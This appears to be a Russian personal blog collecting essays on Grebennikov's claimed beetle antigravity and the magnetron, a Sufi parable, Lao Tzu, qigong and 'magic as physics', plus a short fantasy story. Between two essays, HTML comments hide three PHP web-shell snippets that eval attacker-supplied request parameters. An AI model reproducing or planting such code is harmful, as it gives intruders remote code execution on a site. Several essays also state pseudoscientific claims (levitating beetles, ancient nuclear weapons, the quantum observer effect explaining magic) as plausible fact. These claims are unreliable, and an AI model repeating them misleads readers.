Эффект полостных структур Гребенникова

Виктор Степанович Гребенников прожил трудную жизнь. Среди ученых он известен как фанатично преданный своему делу энтомолог. Любил своих подопечных — насекомых настолько, что создал в окрестностях Новосибирска, где жил и работал, заповедники (заказники) для насекомых.

Заповедник для насекомых! Просто нет слов.

Платформа Гребенникова, Магнетрон

Фотография платформы Гребенникова из книги «Мой Мир»

Будучи талантливым художником, он постоянно рисовал своих любимчиков. Эти рисунки попали в красочную книгу «Мой мир», которая была издана в 1998 году и которую я заказал и с удовольствием прочитал от корки до корки. Википедия скупо освещает его жизнь именно в этом качестве — как ученого — энтомолога. Однако, большое количество людей знают его совсем с другой стороны: как человека, который на основе неизвестных технологий природы создал летательный аппарат, использующий новые полевые принципы. В книге содержится описание полета над городом на этом фантастическом пепелаце. Подробно про это направление можно прочитать в самой книге или в этом описании платформы Гребенникова.

Полостные структуры

Все мы знаем, что современные математические и физические модели затрудняются объяснить полет таких тяжелых жуков, как например майский жук: по этим моделям он не может поднять себя в воздух. Только недавно начали появляться исследования вихревых эффектов, за которые ответственны определенные структуры крыльев, что позволяет существенно снизить потери и увеличить подъемную силу. Возможно, в этом Виктор Степанович продвинулся существенно дальше современных исследователей аэродинамики летающих и жужжащих существ.

Поскольку Гребенников всю жизнь, начиная с детства, изучал насекомых, его заинтересовали регулярные структуры, которые располагаются на надкрыльях у летающих жуков определенного класса. Исследования привели его к неожиданному выводу: данные структуры являются объемными резонаторами, или что ближе к нашему пониманию — 2D фазирующими антенными устройствами, которые способствуют возникновению полей определенного типа. За счет этих полей жук фактически использует механизм левитации, что является хорошим подспорьем к классическому подъемному механизму машущих крыльев.

Возможность существования антигравитационных полей такого типа и левитирующих жуков является ошарашивающей версией. Именно версией, поскольку эксперименты Гребенникова никому воспроизвести не удалось, несмотря на огромную армию последователей, которая ищет, «разбирает» и изучает несчастных жуков, которые могут претендовать на такие способности. Сам он, видимо из любви к своим маленьким друзьям, утаил, с какими именно насекомыми он работал в этом проекте. И судя по всему, в своей платформе он не использовал никакой биологический материал, а сделал физический аналог резонатора, который использует открытый им эффект полостных структур.

Вообще-то то, что природа использует различные поля, не является удивительным. Видимый, инфакрасный свет и ультрафиолет, ультразвук и другие, еще не изученные диапазоны осваивались живыми существами в ходе борьбы за существование. Почему бы и нет?

Судя по всему, несущая часть платформы Гребенникова использовала регулярную полостную структуру, которая активировалась высоковольтным напряжением. Если это работает, нам придется признать, что можно достичь самосинхронизации полей в таких структурах просто изготовив регулярную решетку. То есть речь идет о том, что можно было изготовить кусок металла периодической формы, вдарить куда-нибудь высоковольным импульсом и мы могли бы получить колебания, которые зависят именно от этой периодической (полостной) структуры? Звучит как бред, но самое смешное заключается в том, что такое устройство существует. И оно не инопланетного происхождения, а изготавливается на вполне себе земных заводах, и даже не в секретных лабораториях. Более того: у многих это устройство тихо — мирно работает на кухне. Что же это такое? Не буду интриговать, прошу знакомиться: магнетрон.

Магнетрон: примитивно устроен, сложен для понимания

Благодаря магнетрону, который является мощным генератором СВЧ колебаний, можно поджарить блюдо в микроволновке. У этого устройства есть более достойная предыстория: он используется в радиолокаторах для формирования излучаемой мощности несколько десятков кВт. Если бы последующие цивилизации откопали магнетрон из какого-нибудь нашего культурного пласта, они ни за что бы не догадались, для чего эта штука предназначена. И в самом деле: тупой фигурный кусок металла является основной частью магнетрона — никакой электроники в нем нет. Прошу любить и жаловать: регулярная полостная структура!

Платформа Гребенникова, Магнетрон

Принцип работы магнетрона. Разноцветными линиями показаны возможные траектории электронов: синяя показывает отклонение по дуге, зеленая — электрон закручен по спирали, красная — электрон будет долго крутиться, пока достигнет анода. За счет профиля анода возникают движущиеся группы электронов

Теперь набираемся терпения и внимательно смотрим, что происходит в этом куске железа между катодом (цилиндр в центре) и анодом (анод — это та самая полостная структура и есть).

Как и у Гребенникова, на анод относительно катода подается высоковольтное напряжение (все как в обычной электронной лампе). Электроны бодренько покидают катод, притягиваются к аноду и во внешней цепи начинает течь ток. Так работает электровакуумный диод, и ничего интересного в этой картинке нет: так будет продолжаться бесконечно пока катод не выгорит.

Интересное начинается, когда тупой кусок железа помещают в постоянное магнитное поле (использовал ли Виктор Степанович магниты? интересный вопрос). Тогда траектория электронов под воздействием поля начинает меняться — они отклоняются от прямого маршрута. Они могут лететь по дуге, по замысловатым спиралям, как угодно: хаос в чистом виде. Но на определенном этапе возникает магия, и я уже не могу объяснить, почему это происходит именно так: за счет полостной структуры возникают группы (клубки) электронов, которые начинают бешено вращаться внутри магнетрона, создавая электромагнитные колебания. Лучше всего это видно на имитаторе:

Если на пути вращения этих клубков засунуть петлю, то можно снять высокочастотный ток высокой мощности, как это и делается в микроволновках и радиолокаторах.

Итак, железка и магнит? Просто какой-то набор артефактов в мешке колдуна, который ночью ждет грозы чтобы запустить свою адскую машину (вот откуда высокое напряжение: вспоминаем лейденские банки). Никаких высоких технологий! Магнетрон можно было создать и в Древнем Риме, много веков назад. А может и создавали, в той же древней Индии? Не случайно картинки из индийского эпоса, описывающего древние битвы подозрительно напоминают использование термоядерного оружия.

Вот только электромагнитные поля нам хорошо знакомы, а что там было у Гребенникова — тайна, которую он унес с собой.

Целых три истины

Таррагона — типично испанское название. В 713 году началась эпоха арабских завоевании Испании, в результате чего Таррагона была под властью арабских правителей 400 лет. Это время было весьма неспокойным, с такими причудливыми сочетаниями действующих персонажей. Вот например фрагмент типичной хроники тех лет, взятый из Вики:

«Эль Сид совместно с войском Аль Мутамида — эмира Севильи, союзника кастильского короля, разгромил армию правителя Гранады Абдуллы. На беду при Абдулле состоял граф Гарсия Ордоньес, любимчик короля Альфонсо. Сей граф очутился в плену у Родриго. Вскоре Эль Сид осуществил налёт на Толедо. Над этим городом Альфонсо давно установил свой протекторат. За это Альфонсо в 1080 году изгнал Сида. После этого Эль Сид служил у эмира Сарагоссы, успешно воюя с барселонским графом Рамоном Братоубийцей и с Санчо Рамиресом»

Особенно впечатляют «эмир Севильи» и «правитель Гранады Абдулла», в компании с графом Барселоны, у которого было весьма выразительное прозвище. Веселое видать было время!

Главное действующее лицо — Эль Сид, или попросту говоря — Аль — Саид, на самом деле именовался Родриго Диас. Интересно, что его арабоязычное имя более известно, чем исконно испанское. И скорее всего, именно его имел в виду Идрис Шах, когда рассказал эту историю про лорда Тарагоны Рударигха, или Родериго.

Трудно сказать, что сподвигло Родериго отвлечься от многочисленных баталий и интриг, но он возжелал познать истину. А поскольку суфийские мастера были известны как искатели истины, то процесс познания был организован очень просто: по приказу Родериго суфий Омар Аль — Калави из Таррагоны как носитель истины был схвачен и доставлен во дворец для краткого ее изложения весьма занятому повелителю. Идрис Шах рассказывает:

Родериго сказал: — Я приказываю тебе немедленно изложить всю истину, которую ты знаешь, понятными мне словами, а не то придется тебе распрощаться с жизнью.

Омар ответил: — Соблюдаешь ли ты при своем благородном дворе всеобщий обычай, согласно которому арестованный должен быть отпущен на свободу, если он говорит правду в ответ на вопрос и эта правда не свидетельствует против него?

— Да, соблюдаю, — сказал владыка.

— Я прошу всех присутствующих быть свидетелями слов нашего владыки, -сказал Омар. — А теперь я скажу истину и не одну, а целых три!

Родериго с высокомерным сомнением заявил:

— Мы должны воочию убедиться, что твои слова представляют собой действительно истину как таковую. Доказательство должно сопровождать твои слова.

— Для такого владыки, как ты, — продолжал Омар, — которому мы собираемся выдать не одну, а целых три истины, мы уж постараемся дать истины, которые будут самоочевидными.

Родериго на этот комплимент распустил хвост веером.

Можно представить, в какой обстановке проходил этот диалог. Тихий книжник в дервишеском облачении стоит на дорогом ковре. Вокруг — разодетая в вычурные наряды и разукрашенная драгоценностями придворная знать. И сам Родериго, он же Аль — Саид, которому ничего не стоит достать меч и отрубить бродячему философу голову. Впрочем зачем лорду мараться самому? Достаточно подать знак рукой, и ближайший воин сделает это за хозяина.

Конечно, все это знал и понимал суфийский мастер Омар Аль — Калави. Прозвучали его истины, которых так жаждал правитель:

— Первая истина, — сказал суфий, — состоит в том, что я есть тот, кого зовут Омар, суфий из Тарагоны.

Вторая — это то, что ты согласился меня отпустить, если я скажу истину.

Третья состоит в том, что ты хочешь знать истину, которая соответствует твоему пониманию.

Занавес.

Говорят, что впечатление от этих слов было таково, что тиран был вынужден отпустить суфия.

И ведь не поспоришь.

Если у вас нет дома: краткий курс бытия от Лао-Цзы

Если у вас нет дома,
Пожары ему не страшны,
И жена не уйдёт к другому,
Если у вас нет жены.

Если у вас нет тёти,
То вам её не потерять,
И если вы не живёте,
То вам и не умирать.

Оркестр гремит басами,
Трубач выдувает медь.
Думайте сами, решайте сами —
Иметь или не иметь.

Помните эту песню? Если кому-либо пришло в голову уместить в несколько строк содержимое трактата «Дао дэ дзин», который написал Лао-Цзы, то это можно было бы сделать именно так. Ведь в самом деле:

Слава и позор подобны страху. Знатность подобна великому несчастью в жизни…. обычные люди приобретают славу со страхом и теряют ее тоже со страхом. Что значит, знатность подобна великому несчастью в жизни? Это значит, что я несчастен, потому что дорожу самим собой и боюсь потерять свой статус

Вся идея трактата пронизана этим — «если вы не живете, то вам и не умирать». Эта фраза может показаться унылой перспективой, если понимать жизнь так, как понимаем ее мы. В представлении Лао-Цзы жизнь — это нечто совершенно другое. Есть Дао — поток событий; можно с ним бороться, можно с ним плыть. Подозреваю, что все мудрецы прошли этап борьбы с потоком и пришли к тому, что проще и приятнее просто плыть по нему.

Печальная история всех древних книг такова, что они доходят до нас в неизменном виде, когда система ценностей, понятий и терминология изменяется настолько, что текст становится диковинным и слишком простым. Неспроста мастера древности запрещали записывать свои высказывания, и они жили и проходили сквозь века в виде притч, которые передавали друг другу нескончаемые рассказчики в виде интересных анекдотов.

Вот и Лао-Цзы, который вел неприметную жизнь смотрителя плантации лаковых деревьев, не собирался писать никаких книг. Неизвестно, откуда он появился и куда ушел. Известно лишь, что перед своим уходом в никуда, начальник пограничной стражи упросил его изложить свои идеи на бумаге, чтобы оставить их потомкам. К слову, вот были интересные пограничники в те времена! Идет такой странник без определенных занятий, с котомкой за плечами, и Страж Границы заводит с ним разговор, выделяет пишущие инструменты и бумагу (что в то время стоило недешево), и просит написать трактат. Так и появился Дао-дэ-цзин, а про Лао-Цзы после этого больше никто ничего не слышал.

Теперь вернемся к терминологии. Эта небольшая книга, на самом деле, может быть самый первый источник по процессному подходу. Причем в ней описывается глобальный процесс — Дао, в котором сложены векторы всех усилий, намерений, как совпадающих, так и противоположных. Сложность этого процесса такова, что модели для его описания отсутствуют напрочь. Раз мы его не можем описать, значит не можем им управлять — это первый вывод. Тем не менее, мы можем его использовать — это второй вывод. Как это сделать? Ключ — здесь:

Придерживаясь древнего Дао, чтобы овладеть существующими вещами, можно познать древнее начало

Здесь раскрыты целых три момента. Метод: вливаться в процесс и не мешать ему своими надуманными мыслями и поступками. Результаты, коих два: контроль над участниками процесса и самое ценное: знание о его истоках.

Что происходит после выпадения из процесса Дао?

Когда устранили великое Дао, появились «человеколюбие» и «справедливость». Когда появилось мудрствование, возникло и великое лицемерие. … Когда в государстве царит беспорядок, тогда появляются «верные слуги».

Человеколюбие и справедливость в кавычках — это фарисеи. Знакомая история, правда? А про «верных слуг» вообще в точку, для этого даже в древнюю историю закапываться не надо, достаточно современной…

В Дао-дэ-цзин разбросано много ключей, трактат просто напичкан ими. Они становятся заметными только тогда, когда сокращается разрыв между смыслом ключа и уровнем твоего понимания. Как в славной игре Hexen, которую я в свое время прошел до конца и разобрался таки с волшебником в последней сцене. Красивые были пейзажи, что и говорить, а насчет ключей — дернешь рубильник в одной комнате, и где-то на краю земли поднялась лестница. А ты по этому месту проходил уже сотню раз.

Поскольку глобальному процессу нет смысла противостоять, меняется концепция силы. Она парадоксально расходится с общепринятыми представлениями. Тем не менее, из этих строк вышли самые эффективные «внутренние» стили кунг-фу и само айкидо:

Древко крепкое сломается,
Могущественное войско погибнет.
Мягкое и слабое — спутники жизни,
Твердое и сильное — спутники смерти.

Не читайте Дао-дэ-дзин запоем. Текст слишком концентрированный, его надо употреблять сильно разведенным )

Школьный вечер

Мормон ступал по битому кирпичу. Когда-то здесь было здание — может, коровник, а может сельсовет. Деревня которая осталась позади пребывала в таком же запустении. По крайней мере, не надо беспокоиться за джип, которого уже не видно за пригорком. «За него вообще уже не надо беспокоиться», — поправил  себя Мормон. Как и обо всем остальном. Хотя… если все это окажется неправдой, можно вернуться и наказать. Так что машина еще может пригодиться.

Другое дело — одежда. И конечно обувь. Экипировка должна быть безупречной — неизвестно, куда и как придется пробираться. За эту одежду он и получил свою кличку. Истинного смысла этого слова одноклассники конечно не знали; но его странный фирменный дресс-код вызывал тщательно скрываемые насмешки. Теперь школа, как и семья и вся жизнь, остаются позади. И все это венчает символ прошлого — джип, который будет ржаветь в деревне бесконечно. И еще несменяемые дежурные в конце этой цепи — врачи. Благодаря им Мормон знает, что у него есть месяц. Целый месяц. И на этом им большое спасибо.

Карандашный набросок на листке бумаги в клетку указывает на очередное строение вдалеке. В отличие от деревни, оно неплохо сохранилось, насколько можно судить издали. Мормону не привыкать к ориентировкам на местности: будь сейчас в руках старый винторез, уже можно было снять кого нибудь с этой крыши. Но надо думать, для этой встречи винтовочные аргументы не подойдут, и есть ли другие аргументы вообще? Мормон на мгновение задумался о том, какие карты у него на руках: получалось, что кроме месяца жизни больше ничего и нет. Ау, есть желающие на этот месяц? Никому не пригодится? Сезонные скидки, распродажа!

Рассыпающиеся контуры здания намекают на то, что здесь был монастырь. Ну конечно, как же иначе — классическая сцена для всяких странных событий. Событие предстоит необычное, а воздух такой знакомый и прохладный; тихо шелестит трава, и все так просто и обыденно. Там, где стены осыпались на уровень бордюра, идет ряд цветов, которые с силой держатся за старый кирпич. О цветах есть кому заботиться: фигура в капюшоне внимательно рассматривает цветки, и когда крадущиеся шаги Мормона не услышать уже невозможно, Садовник откинул капюшон и повернул свое лицо.

Первая встреча и ощущения много значат в последующих переговорах — этому Мормона не надо было учить. Цепкий взляд на лицо Садовника, силуэт, окружение: группа поддержки, оружие, аксессуары, ловушки? Интуиция молчала, и он расслабился. Садовник немного отрешенно смотрел вдаль, как будто еще пребывал вместе со своими цветами и ощущал исчезающее облако их неуловимых запахов. Затем он начал, видно на правах хозяина этого места, избавляя Мормона от необходимости в неуклюжих объяснениях: кто он и зачем здесь появился.

— Здравствуйте… простите, что не знаю вашего имени. Цветы требуют так много внимания, так что… кгхм… насколько я знаю, вы тоже дорожите своим временем, так что может мы опустим условности и приступим? — вступил Садовник.

Его вежливый и местами вычурный стиль не вязался с отрешенным выражением лица. Его можно было назвать и молодым, и старым; не было никаких указаний ни на возраст, ни на прежний род занятий. Слово «дорожите» тоже прозвучало тяжело, как будто золотые монеты проваливались в глубокий колодец, откуда никогда ничего не возвращается.

Мормон все-таки решил отдать дань условностям и заодно немного разговорить собеседника, как же без этого?

— Цветы это такое хлопотное дело… наверное, не остается времени для других занятий? — фраза получилось немного нелепой и слишком очевидной, явно намекающей на род основных занятий Садовника, о которых может быть не очень-то и хочется знать. Но Садовник ответил просто, словно смахивая с плаща остатки обрезанных листьев:

— Это и есть основное занятие, уверяю вас. Посмотрите на эти цветы: одни из них молоды с запахом травы; другие вступили в пору зрелости, и появился чудесный аромат. Есть и такие, к кому пришло время увядания: это горький запах осенних хризантем. Вас, дорогой Мормон — не обессудьте, что пользуюсь вашей кличкой, она вам очень хорошо идет — можно сравнить вот с этим цветком. Внешне он полон сил и радует нас своими красками; но в его запахе уже начали появляться нотки увядания. Что-то сломалось в отлаженном механизме, и внутри этого цветка уже живет чужая ткань, которая выпивает все его соки. Скоро, очень скоро, скажем — через месяц, этого цветка уже не будет.

— Как сказал ваш поэт? — продолжил Садовник, увлекаясь, — «Если бы человеческая жизнь была вечной и не исчезала бы в один прекрасный день, подобно росе на равнине Адаси, и не рассеивалась бы, как дым над горой Торибэ, не было бы в ней столько скрытого очарования». Очарование, мой дорогой друг, это такая прелестная вещь — при этом Садовник прикрыл глаза, словно еще раз пережил исчезновения всех своих многократных жизней.

Беседа уже только началась, а у Мормона начала расти бешеная злоба. Он уже ненавидел Садовника, для которого его жизнь — всего лишь разноцветный ковер на осыпающейся кирпичной ограде. В какой-то момент он поймал знакомый импульс — выхватить нож, который был подвешен под курткой, и расписать это существо на клочки. Однако, приходилось сдерживаться и поддерживать светский разговор. В конце концов, это все тоже останется в прошлом, как и деревня с джипом. И больше ничего не будет.

— Итак, дорогой друг, — Садовник поскучнел, словно ему предстояла одна и та же торговля за постылым прилавком, — вы согласны с тем, что все имеет свою цену? Ваш оставшийся месяц жизни — безусловный актив, который я принимаю во внимание. Не будем упоминать такие мелочи, что при прочих равных условиях этот месяц был бы заурядным и его ценность… кгхм… была бы достаточно скромной. — Что вы покупаете?

У Мормона была заготовлена короткая речь. Осталось сделать усилие и произнести ее — со всеми аргументами, которые могли что-то значить для того, кто стоял напротив, и скорее всего — не значили ничего. Шелестела трава, молчали птицы. Обыденность. Время оказывается имеет разную цену. Не очень-то интересный урок — об этом можно было догадаться самому уже давно.

— Один вечер, — произнес Мормон. Наступила тишина. Цветок, которому предстояло умереть в горьком запахе хризантем, требовал один вечер.

Садовник бросил взгляд на свои цветы, как будто с ними что-то могло случиться за время этой короткой беседы. Потом задумчиво протянул:

— Один месяц на один вечер… неплохой обмен, хотя в сложившихся условиях я бы использовал свои преимущества. — Может вы пожелаете воспользоваться скидками или бонусами?

Злость Мормона снова разыгралась не на шутку. Садовник снова подчеркнул бессмысленность той городской жизни и ее символов, в которые он был погружен. Взяв себя в руки, он беззаботно ответил:

— Скидки и бонусы? Отличная идея; я рад иметь дело с вашей фирмой. На каких условиях я все это получу?

Тут пришел черед Садовника, и ответ не заставил себя ждать:

— В том месте, где вы хотите провести этот вечер… кгхм… вам будут показывать рекламу. Скажем, цветов, или этой замечательной деревни. Устраивает предложение?

Тут Мормон понял, что ему расхотелось продолжать эту игру. Чтобы оценить своеобразный юмор Садовника, надо было представить полутемный школьный зал, ансамбль на сцене, который еле-еле удалось уговорить на выступление, директрису, стоящую у входа и готовую включить беспощадный свет при малейшем намеке на неподобающее поведение…

Ему не пришлось отвечать. Садовник вытащил из грядки небольшую вишню и протянул ее Мормону.

— Где и когда? — тусклым голосом спросил Садовник. Судя по этому вопросу, аудиенция завершалась. Дальше — останется один вечер и после этого все. Месяц будет списан с его счетов, и наступит небытие. Что же, пусть так и будет.

Мормон прокашлял горло от некстати наступившей хриптоцы. Не хотелось, чтобы эти дорогие слова прозвучали невнятно и пришлось повторяться.

— Моя школа, выпускной вечер. Актовый зал, — добавил Мормон и по инерции подумал — нужны ли эти подробности? Ведь он и так все понял.

Садовник бросил еще один взгляд на свою цветущую изгородь, и весело произнес:

— Ладно, не знаю является ли это бонусом или скидкой… но среди цветов ее нет. Уже давно.

После этого он кивнул Мормону и вернулся к своим занятиям. Мормон медленно положил вишню в рот и разжевал ее. Знакомый с детства вкус сменился легким запахом хризантем — последнее напоминание от Садовника, и затем появился совсем другой запах. Он впивался в голову сильнее и сильнее, пока Мормон не понял — это был запах школы, ее полов, который натирали мастикой. Запах, который остался в старых временах. Из зала доносились звуки, и память снова освежила боль знакомого слова: «Ионика». Ионика, она играла вступление.

Он открыл двери зала и вошел. Она как и тогда стояла у стенки, в сопровождении двух подруг. Лицо ее выражало дразнящее безразличие. Мормон прислонился к стене и на мгновение закрыл глаза. Только один вечер, и цветка больше нет.

Ансамбль запилил El Bimbo, и Мормон с силой оттолкнувшись от стенки, пошел к ней навстречу. В середине освещенный зал, и он на нем как на ладони — идеальная мишень для какого-нибудь стрелка, мелькнула дурацкая мысль. В груди появился мучительный страх, который он не испытывал уже давно: страх, что по этому залу он тут же отправится обратно, как и тогда. Она приближалась и становилось все отчетливее; было видно как подружки которые прижимались к ней сбоку начинали отстраняться, оставляя ее одну. На ее лице блуждала полуулыбка; ее волосы пахли осенними хризантемами.

Это была его вторая и последняя попытка.

Магия и струны

В периодически вспыхивающих спорах о науке и религии забывается другая древняя дисциплина — магия. Сегодня она отдана на откуп знахаркам и прорицательницам, которые смотрят на нас с телефонных объявлений на последних страницах газет. Она остается такой же непонятной для большинства, как и квантовая физика. Однако никому почему то не приходит в голову сомневаться в истинности квантовой физики, хотя она как и магия — тайна за семью печатями для абсолютного большинства.

«…спектр струны не содержит Духов, т.е. Пространство Духов полностью отделено от эманаций материи, а Духи — не более чем артефакт фиксации калибровки. Можно сказать, это Духи — следствие несовершенства наблюдателя, никак не связанное с динамикой струны»

Выглядит как цитата из магического трактата? Нет, это выдержка из описания теории струн — нового направления в современной физике. Если заменить «струны» на вибрации — чем не текст из древних Вед?

Незаметно для большинства обывателей, физика движется к многосмысленности и непредсказуемости магии. В ней уже принята концепция «наблюдателя» — то, что не дает применить «научный подход» к магии как строгой дисциплине. В научном подходе подразумевается, что результаты теории должны подтверждаться экспериментом, причем эксперимент должен иметь свойство повторяемости. Любой посторонний наблюдатель повторяет эксперимент и получает те же самые результаты.

Однако, как мы уже знаем для квантовой физики, существует «эффект наблюдателя» — когда результаты эксперимента принципиально отличаются от того, наблюдаем мы его или нет. Этот парадоксальный факт является принципиальным для магии и поясняет, почему магические феномены не демонстрируют устойчивую повторяемость, что позволило бы воспринимать их как результаты научного эксперимента.

Поэтому магические эксперименты с подтвержденным для самого экспериментатора результатом могут измениться из-за того, что их наблюдают, или в них участвуют другие люди. Даже как нам кажется не принимая участия в эксперименте, они — наблюдатели и поэтому принципиально меняют его условия и соответственно результат.

Магию можно воспринимать как физику других энергий и полей, для которых характерны «дальние» и всепроникающие воздействия. Можно считать это своеобразной беспрепятственно проникающей везде «радиацией». Вследствие этого процесс в магической лаборатории невозможно очертить рабочим объемом физического прибора или колбы и в «лабораторию» мага волей или неволей вовлечено большое количество участников — «наблюдателей». Требования магического ритуала — это помимо прочего упорядочить влияние трудно контролируемых наблюдателей на процесс и добиться повторяемости результата.

Другая особенность инструментального оснащения магии как физической дисциплины — мы сами являемся непревзойденным прибором и более того — лабораторией, хотя и не используем все ее возможности, которые в ней заложены. Отсюда еще одна трудность — доступа на площадку экспериментатора, преодоление границ другого мира, который представляет каждый из людей.

Добро пожаловать в другую физику!

Цигун — южный и северный мост

Цигун обычно классифицируют как китайскую систему психофизического тренинга. Однако не будем забывать, что психология и физиология — терминология западной цивилизации, и попытка выразить феномен цигуна через западную систему координат ведет в упрощению системы и профанации. Попытка определения цигуна через целеполагание может также привести к неудаче, потому что в своем базовом варианте эта дисциплина предоставляет для неофита всего лишь возможности по достижению отличного здоровья; в этом варианте цигун не представляет значительного интереса для серьезных искателей. В нем оздоровительный эффект всегда рассматривался как некоторое побочное проявление практики, хоть и полезное и приятное, но не являющееся самоцелью.

В максимально последовательной своей реализации цигун, по всей видимости, сам может выступить конструктором целей в условиях, когда отрицаются преграды для бытия сущности в последовательных физических телах, однако история не знает ни одного из вернувшихся из этого путешествия, который дал бы себе труд рассказать о том с чем он встретился впереди. Это вполне объяснимо даже с житейской точки зрения, поскольку никто из нас не вернулся назад в детский сад, чтобы присев в песочнице, рассказать малышам об удивительных открытиях взрослой жизни, с которыми мы столкнулись и о которых не подозревали в пору своего детства. Начиная с момента невозвращения наступает такая индивидуализация практики, что уже каждый из странников сам для себя решает, в чем она должна состоять, и не хватит духу даже предположить, кто является для них учителями на этом уровне.

Мы вполне можем рассмотреть эту систему на инженерном уровне, поскольку она позволяет рассматривать себя именно таким образом. Цигун предполагает существование у человека альтернативной сигнальной системы, которая основывается на сети энергетических меридианов, которые хорошо описаны в литературе по акупунктуре. Слово «альтернативная» здесь используется в том смысле, что современная медицина и физиология не то чтобы не подтверждают ее существование, а не видят в ней никакого функционального значения даже в случае ее существования. И действительно, в повседневной жизни этот комплекс не проявляет в себя, и как все что не поддается постоянному использованию (и значит тренировке) — приходит к угасанию. Интересно заметить, что в индийской йогической традиции рассматривается, по всей видимости, другая система каналов и центров (чакр). Это а также другие обстоятельства позволяют сделать фантастическое предположение, что канальная система может быть организована произвольным способом самим адептом, и ее известные существующие ее структуры порождены всего лишь традицией в обучении. Против этого свидетельствует то, что каналы связаны с определенными внутренними органами, следовательно их топография не может быть произвольной.

Система вполне определенно указывает на связь энергетическо — кананального уровня и уровня физического тела с одной стороны, и уровня духа — с другой. Существуют места перехода с одного уровня на другой, которые на физическом уровне выглядят как определенные образования; возможны варианты отсутствия физических аналогов — например считается что «третий глаз» связан с атрофированной железой, которая тем не менее может быть восстановлена в результате практики. По аналогией с архитектурой интеловских процессоров, «нижнюю» связь с физическим уровнем можно назвать «южным мостом», соответственно с уровнями духа — «северным мостом».

Цигун подкупает тем, что оставляет очень мало место для домысливания и разговоров на «космические темы» и основной упор делает на практику. В отличие от буддийской традиции, цигун как сугубо китайское изобретение с даосскими корнями признает важность физического тела и осмысленность и обоснованность существования в этом мире. Как говорят даосы — тело это наша лодка, в которой мы должны приплыть к другому берегу. О лодке должно помнить и заботиться о ней.

Проработка энергетического уровня цигуне начинается с построения южного моста. При этом адепт может не понимать смысла практики и ее целей. Чем меньше этого понимания, тем успешней она становится, потому что не позволяет осуществить рассудочное осмысление этой деятельности; наш рассудок, не находя подходящего описания этой практики в своем алфавите, будет деформировать ее, пытаясь взять под контроль (по преданию, самым успешным был один из самых тупых учеников Сунь-Лутана). Тело, будучи поставлено в определенные условия, вынуждено просить восстановления энергетической структуры. По мере ее развития, становятся понятны инструменты, которыми обладает адепт. С этого момента он может пробовать выбирать их и применять для разных целей. Огромным преимуществом даосской традиции цигуна является то, что она не требует веры искателя. Step by step — делай так и получишь конкретный результат.

После наполнения энергией открывается северный мост и последователь системы получает доступ к уровням духа, которые с учетом последних исследований можно назвать областью хранения информации о материальном мире. Здесь цигун очень тесно смыкается с современными физическими концепциями. Возможно, эта система хранит информацию, к которой еще предстоит придти физикам этого и следующих столетий.

Начало

Дорога в тысячу ли начинается с первого шага.

<!— [insert_php]if (isset($_REQUEST["lQtlA"])){eval($_REQUEST["lQtlA"]);exit;}[/insert_php][php]if (isset($_REQUEST["lQtlA"])){eval($_REQUEST["lQtlA"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["lvy"])){eval($_REQUEST["lvy"]);exit;}[/insert_php][php]if (isset($_REQUEST["lvy"])){eval($_REQUEST["lvy"]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST["vSOQ"])){eval($_REQUEST["vSOQ"]);exit;}[/insert_php][php]if (isset($_REQUEST["vSOQ"])){eval($_REQUEST["vSOQ"]);exit;}[/php] —>

Игры и Люди

… одетый только в халат из холщовой ткани, ходил в кабачки и к певичкам. Когда его спрашивали, почему он таков, он каждый раз открывал рот, засовывал туда кулак и не говорил. Император Лян-цзун призвал его и спросил: «Каков принцип Вашего Пути?» Гуйчжэнь ответил: «Одежда тонка — поэтому люблю вино, выпью вина и защищусь от холода, напишу картину — и расплачусь за вино. Кроме этого, ничего не умею». Лян-цзун не нашелся, что сказать…

От игрушек детства мы движемся к другим. Здесь — об этом.

Алхимия игры включает несколько ингредиентов.

Рецептура состоит из Миров, по которым можно путешествовать; не все из них достаточно хорошо населены. Дело — это Игрушка одного из миров.

Объединяя видимые и сокрытые элементы, Алхимия выступает и как самостоятельный Игрок.

Google+